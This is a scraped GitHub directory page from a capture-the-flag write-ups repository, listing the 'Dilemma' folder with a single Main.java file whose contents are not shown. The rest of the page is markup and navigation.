data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/serega6531/XmasCtf2018Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":162837579,"originating_url":"https://github.com/serega6531/XmasCtf2018Writeups/tree/master/Dilemma","user_id":null}}" data-hydro-click-hmac="534ee9733fba6ae89c8020f6b0123fc6e9f190b3d94dbe7bec2b95260c67e1a4"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/serega6531/XmasCtf2018Writeups/refs" cache-key="v0:1545507422.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c2VyZWdhNjUzMS9YbWFzQ3RmMjAxOFdyaXRldXBz" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/serega6531/XmasCtf2018Writeups/refs" cache-key="v0:1545507422.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c2VyZWdhNjUzMS9YbWFzQ3RmMjAxOFdyaXRldXBz" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>XmasCtf2018Writeups</span></span></span><span>/</span>Dilemma<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>XmasCtf2018Writeups</span></span></span><span>/</span>Dilemma<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/serega6531/XmasCtf2018Writeups/tree-commit/c4e5b8c72c4e35e9b6cbbe2d163b9f94db6fd0ac/Dilemma" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/serega6531/XmasCtf2018Writeups/file-list/master/Dilemma"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Main.java</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
